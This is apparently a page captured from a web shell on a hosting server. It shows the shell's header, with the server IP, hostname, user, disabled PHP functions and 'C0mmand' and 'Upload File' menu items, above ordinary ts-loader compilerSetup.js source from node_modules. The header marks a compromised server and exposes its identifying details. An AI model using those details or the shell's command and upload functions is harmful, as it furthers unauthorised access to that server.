Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/ts-loader/dist/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.getCompilerOptions = exports.getCompiler = void 0; const semver = require("semver"); function getCompiler(loaderOptions, log) { let compiler; let errorMessage; let compilerDetailsLogMessage; let compilerCompatible = false; try { compiler = require(loaderOptions.compiler); } catch (e) { errorMessage = loaderOptions.compiler === 'typescript' ? 'Could not load TypeScript. Try installing with `yarn add typescript` or `npm install typescript`. If TypeScript is installed globally, try using `yarn link typescript` or `npm link typescript`.' : `Could not load TypeScript compiler with NPM package name \`${loaderOptions.compiler}\`. Are you sure it is correctly installed?`; } if (errorMessage === undefined) { compilerDetailsLogMessage = `ts-loader: Using ${loaderOptions.compiler}@${compiler.version}`; compilerCompatible = false; if (loaderOptions.compiler === 'typescript') { if (compiler.version !== undefined && semver.gte(compiler.version, '3.6.3')) { // don't log yet in this case, if a tsconfig.json exists we want to combine the message compilerCompatible = true; } else { log.logError(`${compilerDetailsLogMessage}. This version is incompatible with ts-loader. Please upgrade to the latest version of TypeScript.`); } } else { log.logWarning(`${compilerDetailsLogMessage}. This version may or may not be compatible with ts-loader.`); } } return { compiler, compilerCompatible, compilerDetailsLogMessage, errorMessage, }; } exports.getCompiler = getCompiler; function getCompilerOptions(configParseResult, compiler) { const compilerOptions = Object.assign({}, configParseResult.options, { skipLibCheck: true, suppressOutputPathCheck: true, // This is why: https://github.com/Microsoft/TypeScript/issues/7363 }); // if `module` is not specified and not using ES6+ target, default to CJS module output if (compilerOptions.module === undefined && compilerOptions.target !== undefined && compilerOptions.target < compiler.ScriptTarget.ES2015) { compilerOptions.module = compiler.ModuleKind.CommonJS; } if (configParseResult.options.configFile) { Object.defineProperty(compilerOptions, 'configFile', { enumerable: false, writable: false, value: configParseResult.options.configFile, }); } return compilerOptions; } exports.getCompilerOptions = getCompilerOptions; //# sourceMappingURL=compilerSetup.js.map